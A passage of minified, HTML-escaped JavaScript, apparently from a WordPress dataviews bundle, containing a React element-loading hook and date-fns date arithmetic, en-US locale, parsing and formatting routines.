tce=l(CO(),1),{lock:Wht,unlock:St}=(0,tce.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/dataviews&quot;);var P_=l(R(),1),ZPe=[];function On({elements:e,getElements:t}){let o=Array.isArray(e)&amp;&amp;e.length&gt;0?e:ZPe,[r,n]=(0,P_.useState)(o),[i,s]=(0,P_.useState)(!1);return(0,P_.useEffect)(()=&gt;{if(!t){n(o);return}let a=!1;return s(!0),t().then(c=&gt;{if(!a){let u=Array.isArray(c)&amp;&amp;c.length&gt;0?c:o;n(u)}}).catch(()=&gt;{a||n(o)}).finally(()=&gt;{a||s(!1)}),()=&gt;{a=!0}},[t,o]),{elements:r,isLoading:i}}var XPe=Math.pow(10,8)*24*60*60*1e3,Yht=-XPe,L2=6048e5,oce=864e5;var QPe=3600;var rce=QPe*24,qht=rce*7,JPe=rce*365.2425,e2e=JPe/12,Zht=e2e*3,M4=Symbol.for(&quot;constructDateFrom&quot;);function $o(e,t){return typeof e==&quot;function&quot;?e(t):e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;M4 in e?e[M4](t):e instanceof Date?new e.constructor(t):new Date(t)}function lt(e,t){return $o(t||e,e)}function N2(e,t,o){let r=lt(e,o?.in);return isNaN(t)?$o(o?.in||e,NaN):(t&amp;&amp;r.setDate(r.getDate()+t),r)}function M2(e,t,o){let r=lt(e,o?.in);if(isNaN(t))return $o(o?.in||e,NaN);if(!t)return r;let n=r.getDate(),i=$o(o?.in||e,r.getTime());i.setMonth(r.getMonth()+t+1,0);let s=i.getDate();return n&gt;=s?i:(r.setFullYear(i.getFullYear(),i.getMonth(),n),r)}var t2e={};function Jd(){return t2e}function Ec(e,t){let o=Jd(),r=t?.weekStartsOn??t?.locale?.options?.weekStartsOn??o.weekStartsOn??o.locale?.options?.weekStartsOn??0,n=lt(e,t?.in),i=n.getDay(),s=(i&lt;r?7:0)+i-r;return n.setDate(n.getDate()-s),n.setHours(0,0,0,0),n}function mp(e,t){return Ec(e,{...t,weekStartsOn:1})}function D2(e,t){let o=lt(e,t?.in),r=o.getFullYear(),n=$o(o,0);n.setFullYear(r+1,0,4),n.setHours(0,0,0,0);let i=mp(n),s=$o(o,0);s.setFullYear(r,0,4),s.setHours(0,0,0,0);let a=mp(s);return o.getTime()&gt;=i.getTime()?r+1:o.getTime()&gt;=a.getTime()?r:r-1}function D4(e){let t=lt(e),o=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate(),t.getHours(),t.getMinutes(),t.getSeconds(),t.getMilliseconds()));return o.setUTCFullYear(t.getFullYear()),+e-+o}function nce(e,...t){let o=$o.bind(null,e||t.find(r=&gt;typeof r==&quot;object&quot;));return t.map(o)}function V4(e,t){let o=lt(e,t?.in);return o.setHours(0,0,0,0),o}function ice(e,t,o){let[r,n]=nce(o?.in,e,t),i=V4(r),s=V4(n),a=+i-D4(i),c=+s-D4(s);return Math.round((a-c)/oce)}function sce(e,t){let o=D2(e,t),r=$o(t?.in||e,0);return r.setFullYear(o,0,4),r.setHours(0,0,0,0),mp(r)}function ace(e,t,o){return N2(e,t*7,o)}function lce(e,t,o){return M2(e,t*12,o)}function cce(e){return e instanceof Date||typeof e==&quot;object&quot;&amp;&amp;Object.prototype.toString.call(e)===&quot;[object Date]&quot;}function uk(e){return!(!cce(e)&amp;&amp;typeof e!=&quot;number&quot;||isNaN(+lt(e)))}function uce(e,t){let o=lt(e,t?.in);return o.setDate(1),o.setHours(0,0,0,0),o}function V2(e,t){let o=lt(e,t?.in);return o.setFullYear(o.getFullYear(),0,1),o.setHours(0,0,0,0),o}var o2e={lessThanXSeconds:{one:&quot;less than a second&quot;,other:&quot;less than {{count}} seconds&quot;},xSeconds:{one:&quot;1 second&quot;,other:&quot;{{count}} seconds&quot;},halfAMinute:&quot;half a minute&quot;,lessThanXMinutes:{one:&quot;less than a minute&quot;,other:&quot;less than {{count}} minutes&quot;},xMinutes:{one:&quot;1 minute&quot;,other:&quot;{{count}} minutes&quot;},aboutXHours:{one:&quot;about 1 hour&quot;,other:&quot;about {{count}} hours&quot;},xHours:{one:&quot;1 hour&quot;,other:&quot;{{count}} hours&quot;},xDays:{one:&quot;1 day&quot;,other:&quot;{{count}} days&quot;},aboutXWeeks:{one:&quot;about 1 week&quot;,other:&quot;about {{count}} weeks&quot;},xWeeks:{one:&quot;1 week&quot;,other:&quot;{{count}} weeks&quot;},aboutXMonths:{one:&quot;about 1 month&quot;,other:&quot;about {{count}} months&quot;},xMonths:{one:&quot;1 month&quot;,other:&quot;{{count}} months&quot;},aboutXYears:{one:&quot;about 1 year&quot;,other:&quot;about {{count}} years&quot;},xYears:{one:&quot;1 year&quot;,other:&quot;{{count}} years&quot;},overXYears:{one:&quot;over 1 year&quot;,other:&quot;over {{count}} years&quot;},almostXYears:{one:&quot;almost 1 year&quot;,other:&quot;almost {{count}} years&quot;}},dce=(e,t,o)=&gt;{let r,n=o2e[e];return typeof n==&quot;string&quot;?r=n:t===1?r=n.one:r=n.other.replace(&quot;{{count}}&quot;,t.toString()),o?.addSuffix?o.comparison&amp;&amp;o.comparison&gt;0?&quot;in &quot;+r:r+&quot; ago&quot;:r};function F2(e){return(t={})=&gt;{let o=t.width?String(t.width):e.defaultWidth;return e.formats[o]||e.formats[e.defaultWidth]}}var r2e={full:&quot;EEEE, MMMM do, y&quot;,long:&quot;MMMM do, y&quot;,medium:&quot;MMM d, y&quot;,short:&quot;MM/dd/yyyy&quot;},n2e={full:&quot;h:mm:ss a zzzz&quot;,long:&quot;h:mm:ss a z&quot;,medium:&quot;h:mm:ss a&quot;,short:&quot;h:mm a&quot;},i2e={full:&quot;{{date}} &#039;at&#039; {{time}}&quot;,long:&quot;{{date}} &#039;at&#039; {{time}}&quot;,medium:&quot;{{date}}, {{time}}&quot;,short:&quot;{{date}}, {{time}}&quot;},fce={date:F2({formats:r2e,defaultWidth:&quot;full&quot;}),time:F2({formats:n2e,defaultWidth:&quot;full&quot;}),dateTime:F2({formats:i2e,defaultWidth:&quot;full&quot;})};var s2e={lastWeek:&quot;&#039;last&#039; eeee &#039;at&#039; p&quot;,yesterday:&quot;&#039;yesterday at&#039; p&quot;,today:&quot;&#039;today at&#039; p&quot;,tomorrow:&quot;&#039;tomorrow at&#039; p&quot;,nextWeek:&quot;eeee &#039;at&#039; p&quot;,other:&quot;P&quot;},mce=(e,t,o,r)=&gt;s2e[e];function dk(e){return(t,o)=&gt;{let r=o?.context?String(o.context):&quot;standalone&quot;,n;if(r===&quot;formatting&quot;&amp;&amp;e.formattingValues){let s=e.defaultFormattingWidth||e.defaultWidth,a=o?.width?String(o.width):s;n=e.formattingValues[a]||e.formattingValues[s]}else{let s=e.defaultWidth,a=o?.width?String(o.width):e.defaultWidth;n=e.values[a]||e.values[s]}let i=e.argumentCallback?e.argumentCallback(t):t;return n[i]}}var a2e={narrow:[&quot;B&quot;,&quot;A&quot;],abbreviated:[&quot;BC&quot;,&quot;AD&quot;],wide:[&quot;Before Christ&quot;,&quot;Anno Domini&quot;]},l2e={narrow:[&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;],abbreviated:[&quot;Q1&quot;,&quot;Q2&quot;,&quot;Q3&quot;,&quot;Q4&quot;],wide:[&quot;1st quarter&quot;,&quot;2nd quarter&quot;,&quot;3rd quarter&quot;,&quot;4th quarter&quot;]},c2e={narrow:[&quot;J&quot;,&quot;F&quot;,&quot;M&quot;,&quot;A&quot;,&quot;M&quot;,&quot;J&quot;,&quot;J&quot;,&quot;A&quot;,&quot;S&quot;,&quot;O&quot;,&quot;N&quot;,&quot;D&quot;],abbreviated:[&quot;Jan&quot;,&quot;Feb&quot;,&quot;Mar&quot;,&quot;Apr&quot;,&quot;May&quot;,&quot;Jun&quot;,&quot;Jul&quot;,&quot;Aug&quot;,&quot;Sep&quot;,&quot;Oct&quot;,&quot;Nov&quot;,&quot;Dec&quot;],wide:[&quot;January&quot;,&quot;February&quot;,&quot;March&quot;,&quot;April&quot;,&quot;May&quot;,&quot;June&quot;,&quot;July&quot;,&quot;August&quot;,&quot;September&quot;,&quot;October&quot;,&quot;November&quot;,&quot;December&quot;]},u2e={narrow:[&quot;S&quot;,&quot;M&quot;,&quot;T&quot;,&quot;W&quot;,&quot;T&quot;,&quot;F&quot;,&quot;S&quot;],short:[&quot;Su&quot;,&quot;Mo&quot;,&quot;Tu&quot;,&quot;We&quot;,&quot;Th&quot;,&quot;Fr&quot;,&quot;Sa&quot;],abbreviated:[&quot;Sun&quot;,&quot;Mon&quot;,&quot;Tue&quot;,&quot;Wed&quot;,&quot;Thu&quot;,&quot;Fri&quot;,&quot;Sat&quot;],wide:[&quot;Sunday&quot;,&quot;Monday&quot;,&quot;Tuesday&quot;,&quot;Wednesday&quot;,&quot;Thursday&quot;,&quot;Friday&quot;,&quot;Saturday&quot;]},d2e={narrow:{am:&quot;a&quot;,pm:&quot;p&quot;,midnight:&quot;mi&quot;,noon:&quot;n&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},abbreviated:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},wide:{am:&quot;a.m.&quot;,pm:&quot;p.m.&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;}},f2e={narrow:{am:&quot;a&quot;,pm:&quot;p&quot;,midnight:&quot;mi&quot;,noon:&quot;n&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;},abbreviated:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;},wide:{am:&quot;a.m.&quot;,pm:&quot;p.m.&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;}},m2e=(e,t)=&gt;{let o=Number(e),r=o%100;if(r&gt;20||r&lt;10)switch(r%10){case 1:return o+&quot;st&quot;;case 2:return o+&quot;nd&quot;;case 3:return o+&quot;rd&quot;}return o+&quot;th&quot;},pce={ordinalNumber:m2e,era:dk({values:a2e,defaultWidth:&quot;wide&quot;}),quarter:dk({values:l2e,defaultWidth:&quot;wide&quot;,argumentCallback:e=&gt;e-1}),month:dk({values:c2e,defaultWidth:&quot;wide&quot;}),day:dk({values:u2e,defaultWidth:&quot;wide&quot;}),dayPeriod:dk({values:d2e,defaultWidth:&quot;wide&quot;,formattingValues:f2e,defaultFormattingWidth:&quot;wide&quot;})};function fk(e){return(t,o={})=&gt;{let r=o.width,n=r&amp;&amp;e.matchPatterns[r]||e.matchPatterns[e.defaultMatchWidth],i=t.match(n);if(!i)return null;let s=i[0],a=r&amp;&amp;e.parsePatterns[r]||e.parsePatterns[e.defaultParseWidth],c=Array.isArray(a)?h2e(a,f=&gt;f.test(s)):p2e(a,f=&gt;f.test(s)),u;u=e.valueCallback?e.valueCallback(c):c,u=o.valueCallback?o.valueCallback(u):u;let d=t.slice(s.length);return{value:u,rest:d}}}function p2e(e,t){for(let o in e)if(Object.prototype.hasOwnProperty.call(e,o)&amp;&amp;t(e[o]))return o}function h2e(e,t){for(let o=0;o&lt;e.length;o++)if(t(e[o]))return o}function hce(e){return(t,o={})=&gt;{let r=t.match(e.matchPattern);if(!r)return null;let n=r[0],i=t.match(e.parsePattern);if(!i)return null;let s=e.valueCallback?e.valueCallback(i[0]):i[0];s=o.valueCallback?o.valueCallback(s):s;let a=t.slice(n.length);return{value:s,rest:a}}}var g2e=/^(\d+)(th|st|nd|rd)?/i,b2e=/\d+/i,k2e={narrow:/^(b|a)/i,abbreviated:/^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,wide:/^(before christ|before common era|anno domini|common era)/i},v2e={any:[/^b/i,/^(a|c)/i]},y2e={narrow:/^[1234]/i,abbreviated:/^q[1234]/i,wide:/^[1234](th|st|nd|rd)? quarter/i},S2e={any:[/1/i,/2/i,/3/i,/4/i]},_2e={narrow:/^[jfmasond]/i,abbreviated:/^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,wide:/^(january|february|march|april|may|june|july|august|september|october|november|december)/i},x2e={narrow:[/^j/i,/^f/i,/^m/i,/^a/i,/^m/i,/^j/i,/^j/i,/^a/i,/^s/i,/^o/i,/^n/i,/^d/i],any:[/^ja/i,/^f/i,/^mar/i,/^ap/i,/^may/i,/^jun/i,/^jul/i,/^au/i,/^s/i,/^o/i,/^n/i,/^d/i]},w2e={narrow:/^[smtwf]/i,short:/^(su|mo|tu|we|th|fr|sa)/i,abbreviated:/^(sun|mon|tue|wed|thu|fri|sat)/i,wide:/^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i},C2e={narrow:[/^s/i,/^m/i,/^t/i,/^w/i,/^t/i,/^f/i,/^s/i],any:[/^su/i,/^m/i,/^tu/i,/^w/i,/^th/i,/^f/i,/^sa/i]},B2e={narrow:/^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,any:/^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i},E2e={any:{am:/^a/i,pm:/^p/i,midnight:/^mi/i,noon:/^no/i,morning:/morning/i,afternoon:/afternoon/i,evening:/evening/i,night:/night/i}},gce={ordinalNumber:hce({matchPattern:g2e,parsePattern:b2e,valueCallback:e=&gt;parseInt(e,10)}),era:fk({matchPatterns:k2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:v2e,defaultParseWidth:&quot;any&quot;}),quarter:fk({matchPatterns:y2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:S2e,defaultParseWidth:&quot;any&quot;,valueCallback:e=&gt;e+1}),month:fk({matchPatterns:_2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:x2e,defaultParseWidth:&quot;any&quot;}),day:fk({matchPatterns:w2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:C2e,defaultParseWidth:&quot;any&quot;}),dayPeriod:fk({matchPatterns:B2e,defaultMatchWidth:&quot;any&quot;,parsePatterns:E2e,defaultParseWidth:&quot;any&quot;})};var F4={code:&quot;en-US&quot;,formatDistance:dce,formatLong:fce,formatRelative:mce,localize:pce,match:gce,options:{weekStartsOn:0,firstWeekContainsDate:1}};function bce(e,t){let o=lt(e,t?.in);return ice(o,V2(o))+1}function kce(e,t){let o=lt(e,t?.in),r=+mp(o)-+sce(o);return Math.round(r/L2)+1}function z2(e,t){let o=lt(e,t?.in),r=o.getFullYear(),n=Jd(),i=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??n.firstWeekContainsDate??n.locale?.options?.firstWeekContainsDate??1,s=$o(t?.in||e,0);s.setFullYear(r+1,0,i),s.setHours(0,0,0,0);let a=Ec(s,t),c=$o(t?.in||e,0);c.setFullYear(r,0,i),c.setHours(0,0,0,0);let u=Ec(c,t);return+o&gt;=+a?r+1:+o&gt;=+u?r:r-1}function vce(e,t){let o=Jd(),r=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??o.firstWeekContainsDate??o.locale?.options?.firstWeekContainsDate??1,n=z2(e,t),i=$o(t?.in||e,0);return i.setFullYear(n,0,r),i.setHours(0,0,0,0),Ec(i,t)}function yce(e,t){let o=lt(e,t?.in),r=+Ec(o,t)-+vce(o,t);return Math.round(r/L2)+1}function $e(e,t){let o=e&lt;0?&quot;-&quot;:&quot;&quot;,r=Math.abs(e).toString().padStart(t,&quot;0&quot;);return o+r}var Tc={y(e,t){let o=e.getFullYear(),r=o&gt;0?o:1-o;return $e(t===&quot;yy&quot;?r%100:r,t.length)},M(e,t){let o=e.getMonth();return t===&quot;M&quot;?String(o+1):$e(o+1,2)},d(e,t){return $e(e.getDate(),t.length)},a(e,t){let o=e.getHours()/12&gt;=1?&quot;pm&quot;:&quot;am&quot;;switch(t){case&quot;a&quot;:case&quot;aa&quot;:return o.toUpperCase();case&quot;aaa&quot;:return o;case&quot;aaaaa&quot;:return o[0];default:return o===&quot;am&quot;?&quot;a.m.&quot;:&quot;p.m.&quot;}},h(e,t){return $e(e.getHours()%12||12,t.length)},H(e,t){return $e(e.getHours(),t.length)},m(e,t){return $e(e.getMinutes(),t.length)},s(e,t){return $e(e.getSeconds(),t.length)},S(e,t){let o=t.length,r=e.getMilliseconds(),n=Math.trunc(r*Math.pow(10,o-3));return $e(n,t.length)}};var mk={am:&quot;am&quot;,pm:&quot;pm&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},z4={G:function(e,t,o){let r=e.getFullYear()&gt;0?1:0;switch(t){case&quot;G&quot;:case&quot;GG&quot;:case&quot;GGG&quot;:return o.era(r,{width:&quot;abbreviated&quot;});case&quot;GGGGG&quot;:return o.era(r,{width:&quot;narrow&quot;});default:return o.era(r,{width:&quot;wide&quot;})}},y:function(e,t,o){if(t===&quot;yo&quot;){let r=e.getFullYear(),n=r&gt;0?r:1-r;return o.ordinalNumber(n,{unit:&quot;year&quot;})}return Tc.y(e,t)},Y:function(e,t,o,r){let n=z2(e,r),i=n&gt;0?n:1-n;if(t===&quot;YY&quot;){let s=i%100;return $e(s,2)}return t===&quot;Yo&quot;?o.ordinalNumber(i,{unit:&quot;year&quot;}):$e(i,t.length)},R:function(e,t){let o=D2(e);return $e(o,t.length)},u:function(e,t){let o=e.getFullYear();return $e(o,t.length)},Q:function(e,t,o){let r=Math.ceil((e.getMonth()+1)/3);switch(t){case&quot;Q&quot;:return String(r);case&quot;QQ&quot;:return $e(r,2);case&quot;Qo&quot;:return o.ordinalNumber(r,{unit:&quot;quarter&quot;});case&quot;QQQ&quot;:return o.quarter(r,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;QQQQQ&quot;:return o.quarter(r,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return o.quarter(r,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},q:function(e,t,o){let r=Math.ceil((e.getMonth()+1)/3);switch(t){case&quot;q&quot;:return String(r);case&quot;qq&quot;:return $e(r,2);case&quot;qo&quot;:return o.ordinalNumber(r,{unit:&quot;quarter&quot;});case&quot;qqq&quot;:return o.quarter(r,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;qqqqq&quot;:return o.quarter(r,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});default:return o.quarter(r,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},M:function(e,t,o){let r=e.getMonth();switch(t){case&quot;M&quot;:case&quot;MM&quot;:return Tc.M(e,t);case&quot;Mo&quot;:return o.ordinalNumber(r+1,{unit:&quot;month&quot;});case&quot;MMM&quot;:return o.month(r,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;MMMMM&quot;:return o.month(r,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return o.month(r,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},L:function(e,t,o){let r=e.getMonth();switch(t){case&quot;L&quot;:return String(r+1);case&quot;LL&quot;:return $e(r+1,2);case&quot;Lo&quot;:return o.ordinalNumber(r+1,{unit:&quot;month&quot;});case&quot;LLL&quot;:return o.month(r,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;LLLLL&quot;:return o.month(r,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});default:return o.month(r,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},w:function(e,t,o,r){let n=yce(e,r);return t===&quot;wo&quot;?o.ordinalNumber(n,{unit:&quot;week&quot;}):$e(n,t.length)},I:function(e,t,o){let r=kce(e);return t===&quot;Io&quot;?o.ordinalNumber(r,{unit:&quot;week&quot;}):$e(r,t.length)},d:function(e,t,o){return t===&quot;do&quot;?o.ordinalNumber(e.getDate(),{unit:&quot;date&quot;}):Tc.d(e,t)},D:function(e,t,o){let r=bce(e);return t===&quot;Do&quot;?o.ordinalNumber(r,{unit:&quot;dayOfYear&quot;}):$e(r,t.length)},E:function(e,t,o){let r=e.getDay();switch(t){case&quot;E&quot;:case&quot;EE&quot;:case&quot;EEE&quot;:return o.day(r,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;EEEEE&quot;:return o.day(r,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;EEEEEE&quot;:return o.day(r,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return o.day(r,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},e:function(e,t,o,r){let n=e.getDay(),i=(n-r.weekStartsOn+8)%7||7;switch(t){case&quot;e&quot;:return String(i);case&quot;ee&quot;:return $e(i,2);case&quot;eo&quot;:return o.ordinalNumber(i,{unit:&quot;day&quot;});case&quot;eee&quot;:return o.day(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;eeeee&quot;:return o.day(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;eeeeee&quot;:return o.day(n,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return o.day(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},c:function(e,t,o,r){let n=e.getDay(),i=(n-r.weekStartsOn+8)%7||7;switch(t){case&quot;c&quot;:return String(i);case&quot;cc&quot;:return $e(i,t.length);case&quot;co&quot;:return o.ordinalNumber(i,{unit:&quot;day&quot;});case&quot;ccc&quot;:return o.day(n,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;ccccc&quot;:return o.day(n,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});case&quot;cccccc&quot;:return o.day(n,{width:&quot;short&quot;,context:&quot;standalone&quot;});default:return o.day(n,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},i:function(e,t,o){let r=e.getDay(),n=r===0?7:r;switch(t){case&quot;i&quot;:return String(n);case&quot;ii&quot;:return $e(n,t.length);case&quot;io&quot;:return o.ordinalNumber(n,{unit:&quot;day&quot;});case&quot;iii&quot;:return o.day(r,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;iiiii&quot;:return o.day(r,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;iiiiii&quot;:return o.day(r,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return o.day(r,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},a:function(e,t,o){let n=e.getHours()/12&gt;=1?&quot;pm&quot;:&quot;am&quot;;switch(t){case&quot;a&quot;:case&quot;aa&quot;:return o.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;aaa&quot;:return o.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;}).toLowerCase();case&quot;aaaaa&quot;:return o.dayPeriod(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return o.dayPeriod(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},b:function(e,t,o){let r=e.getHours(),n;switch(r===12?n=mk.noon:r===0?n=mk.midnight:n=r/12&gt;=1?&quot;pm&quot;:&quot;am&quot;,t){case&quot;b&quot;:case&quot;bb&quot;:return o.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;bbb&quot;:return o.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;}).toLowerCase();case&quot;bbbbb&quot;:return o.dayPeriod(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return o.dayPeriod(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},B:function(e,t,o){let r=e.getHours(),n;switch(r&gt;=17?n=mk.evening:r&gt;=12?n=mk.afternoon:r&gt;=4?n=mk.morning:n=mk.night,t){case&quot;B&quot;:case&quot;BB&quot;:case&quot;BBB&quot;:return o.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;BBBBB&quot;:return o.dayPeriod(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return o.dayPeriod(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},h:function(e,t,o){if(t===&quot;ho&quot;){let r=e.getHours()%12;return r===0&amp;&amp;(r=12),o.ordinalNumber(r,{unit:&quot;hour&quot;})}return Tc.h(e,t)},H:function(e,t,o){return t===&quot;Ho&quot;?o.ordinalNumber(e.getHours(),{unit:&quot;hour&quot;}):Tc.H(e,t)},K:function(e,t,o){let r=e.getHours()%12;return t===&quot;Ko&quot;?o.ordinalNumber(r,{unit:&quot;hour&quot;}):$e(r,t.length)},k:function(e,t,o){let r=e.getHours();return r===0&amp;&amp;(r=24),t===&quot;ko&quot;?o.ordinalNumber(r,{unit:&quot;hour&quot;}):$e(r,t.length)},m:function(e,t,o){return t===&quot;mo&quot;?o.ordinalNumber(e.getMinutes(),{unit:&quot;minute&quot;}):Tc.m(e,t)},s:function(e,t,o){return t===&quot;so&quot;?o.ordinalNumber(e.getSeconds(),{unit:&quot;second&quot;}):Tc.s(e,t)},S:function(e,t){return Tc.S(e,t)},X:function(e,t,o){let r=e.getTimezoneOffset();if(r===0)return&quot;Z&quot;;switch(t){case&quot;X&quot;:return _ce(r);case&quot;XXXX&quot;:case&quot;XX&quot;:return pp(r);default:return pp(r,&quot;:&quot;)}},x:function(e,t,o){let r=e.getTimezoneOffset();switch(t){case&quot;x&quot;:return _ce(r);case&quot;xxxx&quot;:case&quot;xx&quot;:return pp(r);default:return pp(r,&quot;:&quot;)}},O:function(e,t,o){let r=e.getTimezoneOffset();switch(t){case&quot;O&quot;:case&quot;OO&quot;:case&quot;OOO&quot;:return&quot;GMT&quot;+Sce(r,&quot;:&quot;);default:return&quot;GMT&quot;+pp(r,&quot;:&quot;)}},z:function(e,t,o){let r=e.getTimezoneOffset();switch(t){case&quot;z&quot;:case&quot;zz&quot;:case&quot;zzz&quot;:return&quot;GMT&quot;+Sce(r,&quot;:&quot;);default:return&quot;GMT&quot;+pp(r,&quot;:&quot;)}},t:function(e,t,o){let r=Math.trunc(+e/1e3);return $e(r,t.length)},T:function(e,t,o){return $e(+e,t.length)}};function Sce(e,t=&quot;&quot;){let o=e&gt;0?&quot;-&quot;:&quot;+&quot;,r=Math.abs(e),n=Math.trunc(r/60),i=r%60;return i===0?o+String(n):o+String(n)+t+$e(i,2)}function _ce(e,t){return e%60===0?(e&gt;0?&quot;-&quot;:&quot;+&quot;)+$e(Math.abs(e)/60,2):pp(e,t)}function pp(e,t=&quot;&quot;){let o=e&gt;0?&quot;-&quot;:&quot;+&quot;,r=Math.abs(e),n=$e(Math.trunc(r/60),2),i=$e(r%60,2);return o+n+t+i}var xce=(e,t)=&gt;{switch(e){case&quot;P&quot;:return t.date({width:&quot;short&quot;});case&quot;PP&quot;:return t.date({width:&quot;medium&quot;});case&quot;PPP&quot;:return t.date({width:&quot;long&quot;});default:return t.date({width:&quot;full&quot;})}},wce=(e,t)=&gt;{switch(e){case&quot;p&quot;:return t.time({width:&quot;short&quot;});case&quot;pp&quot;:return t.time({width:&quot;medium&quot;});case&quot;ppp&quot;:return t.time({width:&quot;long&quot;});default:return t.time({width:&quot;full&quot;})}},T2e=(e,t)=&gt;{let o=e.match(/(P+)(p+)?/)||[],r=o[1],n=o[2];if(!n)return xce(e,t);let i;switch(r){case&quot;P&quot;:i=t.dateTime({width:&quot;short&quot;});break;case&quot;PP&quot;:i=t.dateTime({width:&quot;medium&quot;});break;case&quot;PPP&quot;:i=t.dateTime({width:&quot;long&quot;});break;default:i=t.dateTime({width:&quot;full&quot;});break}return i.replace(&quot;{{date}}&quot;,xce(r,t)).replace(&quot;{{time}}&quot;,wce(n,t))},Cce={p:wce,P:T2e};var I2e=/^D+$/,P2e=/^Y+$/,R2e=[&quot;D&quot;,&quot;DD&quot;,&quot;YY&quot;,&quot;YYYY&quot;];function Bce(e){return I2e.test(e)}function Ece(e){return P2e.test(e)}function Tce(e,t,o){let r=O2e(e,t,o);if(console.warn(r),R2e.includes(e))throw new RangeError(r)}function O2e(e,t,o){let r=e[0]===&quot;Y&quot;?&quot;years&quot;:&quot;days of the month&quot;;return`Use \`${e.toLowerCase()}\` instead of \`${e}\` (in \`${t}\`) for formatting ${r} to the input \`${o}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`}var A2e=/[yYQqMLwIdDecihHKkms]o|(\w)\1*|&#039;&#039;|&#039;(&#039;&#039;|[^&#039;])+(&#039;|$)|./g,L2e=/P+p+|P+|p+|&#039;&#039;|&#039;(&#039;&#039;|[^&#039;])+(&#039;|$)|./g,N2e=/^&#039;([^]*?)&#039;?$/,M2e=/&#039;&#039;/g,D2e=/[a-zA-Z]/;function j4(e,t,o){let r=Jd(),n=o?.locale??r.locale??F4,i=o?.firstWeekContainsDate??o?.locale?.options?.firstWeekContainsDate??r.firstWeekContainsDate??r.locale?.options?.firstWeekContainsDate??1,s=o?.weekStartsOn??o?.locale?.options?.weekStartsOn??r.weekStartsOn??r.locale?.options?.weekStartsOn??0,a=lt(e,o?.in);if(!uk(a))throw new RangeError(&quot;Invalid time value&quot;);let c=t.match(L2e).map(d=&gt;{let 